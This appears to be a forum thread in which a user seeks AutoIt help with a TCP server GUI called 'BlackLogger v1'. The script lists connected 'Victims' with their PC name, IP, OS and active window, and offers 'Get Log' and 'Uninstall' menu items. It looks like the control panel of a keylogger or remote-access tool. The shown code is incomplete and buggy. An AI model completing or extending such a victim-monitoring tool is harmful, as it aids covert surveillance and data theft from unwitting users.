BlackID

Why We Cant Run Autoit Compiled Exe Any Solution

any one !!!!

Steel Need help

No One Can Help Me

ant one help me plz

Hello How Are You My Friends i have a problem with multi tcp reciev I Wanna set the ip and computer name in 2 defreent inputs in the server If $recv <> "" Then GUICtrlSetData($ipp, _ $VIP& GUICtrlRead($ipp)) If $recv <> "" Then GUICtrlSetData($Input1, _ $COM & GUICtrlRead($Input1)) from the client $ConnectedSocket = TCPConnect($IP, $PORT) TCPSend($ConnectedSocket, $VIP) TCPSend($ConnectedSocket, $COM) plz help me Chat-Server.au3 Chat-Remote.au3

Thanks alot BrewManNH You are The best

Can You Correct My Scirpt

Hello Everybody i have serious problem i am creating remote controlling programe and i have this problem on $GUI_EVENT_CLOSE and other buttons (menu) This my Gui #include <GUIConstantsEx.au3> #include <ListViewConstants.au3> #include <TabConstants.au3> #include <WindowsConstants.au3> #Include <GuiListView.au3> Opt('MustDeclareVars', 1) FileInstall("connect.ico", @TempDir & "\connect.ico", 1) FileInstall("info.ico", @TempDir & "\info.ico", 1) FileInstall("start.wav", @TempDir & "\start.wav", 1) Example() Func Example() ; Set Some reusable info ; Set your Public IP address (@IPAddress1) here. ; Local $szServerPC = @ComputerName ; Local $szIPADDRESS = TCPNameToIP($szServerPC) Local $szIPADDRESS = @IPAddress1 Local $nPORT = 33891 Local $MainSocket, $Gui, $Tab1, $Conn, $Info, $it, $it2, $List, $ListItem, $ConnectedSocket, $IEXLISTVIEWSTYLE Local $msg, $recv, $szIP_Accepted Local $Menu1, $Menu1Item1, $Menu1Item2 Local $Menu2, $Menu2Item2, $Menu2Item3, $Menu2Item4 ; Start The TCP Services ;============================================== TCPStartup() $MainSocket = TCPListen($szIPADDRESS, $nPORT) ; If the Socket creation fails, exit. If $MainSocket = -1 Then Exit ; Create a GUI ;============================================== $Gui = GUICreate("BlackLogger v1", 599,251, 65, 121, BitOR($GUI_SS_DEFAULT_GUI,$WS_SIZEBOX,$WS_THICKFRAME)) TrayTip("Black Logger","Welcome To Black Logger Please Don't"& _ @CRLF &" Forget To Forwad The Port 33891 ",1,1) SoundPlay(@TempDir & "\start.wav") $Menu1 = GUICtrlCreateMenu("&File") $Menu1Item1 = GUICtrlCreateMenuItem("Uninstall", $Menu1) $Menu1Item2 = GUICtrlCreateMenuItem("Get Log", $Menu1) $Menu2 = GUICtrlCreateMenu("&About") $Menu2Item2 = GUICtrlCreateMenuItem("Visit Our Site", $Menu2) $Menu2Item3 = GUICtrlCreateMenuItem("Credit", $Menu2) $Menu2Item4 = GUICtrlCreateMenuItem("Pr!v8 Version", $Menu2) $Tab1 = GUICtrlCreateTab(1, 0, 769, 225) $Conn = GUICtrlCreateTabItem("Connexion") GUICtrlCreateTabItem("") GUICtrlSetImage(-1, @TempDir & "\connect.ico") $IEXLISTVIEWSTYLE = BitOR($WS_EX_CLIENTEDGE, $LVS_EX_GRIDLINES, $LVS_EX_FULLROWSELECT) $List = GUICtrlCreateListView("Victim | Pc Name | Wan/Ip | O.S System | Active Window", 1, 21, 599, 202) GUICtrlSendMsg(-1, $LVM_SETCOLUMNWIDTH, 0, 75) GUICtrlSendMsg(-1, $LVM_SETCOLUMNWIDTH, 1, 100) GUICtrlSendMsg(-1, $LVM_SETCOLUMNWIDTH, 2, 135) GUICtrlSendMsg(-1, $LVM_SETCOLUMNWIDTH, 3, 150) GUICtrlSendMsg(-1, $LVM_SETCOLUMNWIDTH, 4, 135) _GUICTRLLISTVIEW_SETEXTENDEDLISTVIEWSTYLE($List, $IEXLISTVIEWSTYLE) _GUICTRLLISTVIEW_REGISTERSORTCALLBACK($List) $ListItem = GUICtrlCreateListViewItem(" | | | | ",$List) $Info = GUICtrlCreateTabItem("About") GUICtrlCreateTabItem("") GUICtrlSetImage(-1, @TempDir & "\info.ico") GUICtrlSetState(-1, $GUI_HIDE) $it2 = GUICtrlCreateTabItem("") GUICtrlSetState(-1, $GUI_HIDE) GUISetState(@SW_SHOW) ; Initialize a variable to represent a connection ;============================================== $ConnectedSocket = -1 ;Wait for and Accept a connection ;============================================== Do $ConnectedSocket = TCPAccept($MainSocket) Until $ConnectedSocket <> -1 ; Get IP of client connecting $szIP_Accepted = SocketToIP($ConnectedSocket) ; GUI Message Loop ;============================================== While 1 $msg = GUIGetMsg() Switch $msg Case $GUI_EVENT_CLOSE Exit Case $Menu2Item2 ShellExecute("http://site.com") EndSwitch WEnd While 2 Switch Case $recv = TCPRecv($ConnectedSocket, 2048) If $recv <> "" Then GUICtrlSetData($ListItem , _ $szIP_Accepted & $recv) EndSwitch WEnd If $ConnectedSocket <> -1 Then TCPCloseSocket($ConnectedSocket) TCPShutdown() EndFunc Func SocketToIP($SHOCKET) Local $sockaddr, $aRet $sockaddr = DllStructCreate("short;ushort;uint;char[8]") $aRet = DllCall("Ws2_32.dll", "int", "getpeername", "int", $SHOCKET, _ "ptr", DllStructGetPtr($sockaddr), "int*", DllStructGetSize($sockaddr)) If Not @error And $aRet[0] = 0 Then $aRet = DllCall("Ws2_32.dll", "str", "inet_ntoa", "int", DllStructGetData($sockaddr, 3)) If Not @error Then $aRet = $aRet[0] Else $aRet = 0 EndIf $sockaddr = 0 Return $aRet EndFunc ineed help